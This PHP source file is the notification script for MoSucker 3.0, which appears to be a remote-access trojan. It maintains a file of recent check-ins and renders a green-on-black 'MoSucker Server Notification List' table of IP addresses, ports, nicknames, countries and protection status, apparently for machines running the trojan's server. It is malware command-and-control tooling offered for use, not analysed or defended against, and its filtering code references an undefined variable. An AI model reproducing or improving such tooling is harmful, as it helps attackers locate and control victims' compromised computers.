<?php
#################################################################################
#                                                                            
    #
# Mosucker 3.0 PHP Notification Script. Copyright by Geeto (Geeto@flamenap.net) #
#            Translated to PHP from Zeloran's CGI Notfication Script         
    #
#                                                                            
    #
#################################################################################


echo "<style type=\"text/css\">
<!--
body { background-color: #000000; font-family: Verdana, Arial, Helvetica, 
sans-serif; font-size: 11px; scrollbar-base-color: #006600; 
scrollbar-darkshadow-color: #006600; scrollbar-shadow-color: #000000; 
scrollbar-track-color: #000000; scrollbar-highlight-color: #000000; 
scrollbar-3d-light-color: #000000; scrollbar-arrow-color: #000000;}
font,td,p { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 
10px; color: #00CC33; }
.fonttitle { font-family: verdana,tahoma,arial;	font-size: 16px; 
font-weight: bold; color: #FFFFFF; }
a, a:visited { color: #00CC33; text-decoration: underline; }
a:hover, a:active { color: #009933; text-decoration: none; }
-->
</style>";

echo "<body>\n";
echo "<br><center><span class=\"fonttitle\"><b>MoSucker Server Notification 
List</b></span><br><br>";
echo "    <table width=\"75%\" border=\"1\" cellspacing=\"0\" 
cellpadding=\"2\" bordercolor=\"#333333\">";

      echo "<tr>";
            echo "<td align=\"center\" bgcolor=\"#006600\">IP</td>";
            echo "<td align=\"center\" bgcolor=\"#006600\">Port</td>";
            echo "<td align=\"center\" bgcolor=\"#006600\">Nick</td>";
            echo "<td align=\"center\" bgcolor=\"#006600\">Country</td>";
            echo "<td align=\"center\" bgcolor=\"#006600\">Visible</td>";
            echo "<td align=\"center\" bgcolor=\"#006600\">Protected</td>";
            echo "<td align=\"center\" bgcolor=\"#006600\">About</td>";
      echo "</tr>";

$time = explode(":", date("h:i"));

$filename = getenv("DOCUMENT_ROOT")."/mophp/online.txt";
$ip = getenv("REMOTE_ADDR");

if (!file_exists($filename))
{
   $handle = fopen ($filename, "w");
   fclose($handle);
}


$in = fopen ($filename, "r");
$lines = explode("\n",fread($in, filesize ($filename)));
fclose($in);

$counter = 0;

if (count($lines) > 0){
foreach ($lines as $element) {
  $parameter1 = explode("#", $element);
  $parameter2 = $time;
  if($parameter1[0] <= $parameter2[0]) {
    $buffer1 = $parameter2[0] - $parameter1[0];
    $buffer2 = $parameter2[1] - $parameter1[1];
    $buffer3 = ($buffer1 * 60) + $buffer2;
  } else {
    $buffer1 = $parameter2[0] - $parameter1[0] + 24;
    $buffer2 = $parameter2[1] - $parameter1[1];
    $buffer3 = ($buffer1 * 60) + $buffer2;
  }
  if($buffer3 <= 10) {
    $new[$counter] = "$element";
    ++$counter;
  }
}
}

$out = fopen ($filename, "w");
if (count($new) > 0){
foreach ($new as $element) {
  fwrite($out,$element."\n");
}
}
fclose($out);

if (count($new) > 0){
foreach ($new as $element) {
  $output = true;
  $parameters = explode("#", $element);

  if($parameter[ip] != "" && $parameters[2] != $parameter[ip]) {
    $output = false;
  }
  if($parameter[port] != "" && $parameters[3] != $parameter[port]) {
    $output = false;
  }
  if($parameter[nick] != "" && $parameters[4] != $parameter[nick]) {
    $output = false;
  }
  if($parameter[country] != "" && $parameters[5] != $parameter[country]) {
    $output = false;
  }
  if($parameter[visible] != "" && $parameters[6] != $parameter[visible]) {
    $output = false;
  }
  if($parameter[protected] != "" && $parameters[7] != $parameter[protected]) 
{
    $output = false;
  }
  if($parameter[about] != "" && $parameters[8] != $parameter[about]) {
    $output = false;
  }

  if($output == "true") {
    echo "<tr>";
        echo "<td bgcolor=\"#333333\"><div 
align=\"center\">$parameters[2]</td>";
        echo "<td bgcolor=\"#333333\"><div 
align=\"center\">$parameters[3]</td>";
        echo "<td bgcolor=\"#333333\"><div 
align=\"center\">$parameters[4]</td>";
        echo "<td bgcolor=\"#333333\"><div 
align=\"center\">$parameters[5]</td>";
        echo "<td bgcolor=\"#333333\"><div 
align=\"center\">$parameters[6]</td>";
        echo "<td bgcolor=\"#333333\"><div 
align=\"center\">$parameters[7]</td>";
        echo "<td bgcolor=\"#333333\"><div 
align=\"center\">$parameters[8]</td>";
    echo "</tr>";

  }
}
}
echo "</table></center></body>";
?>
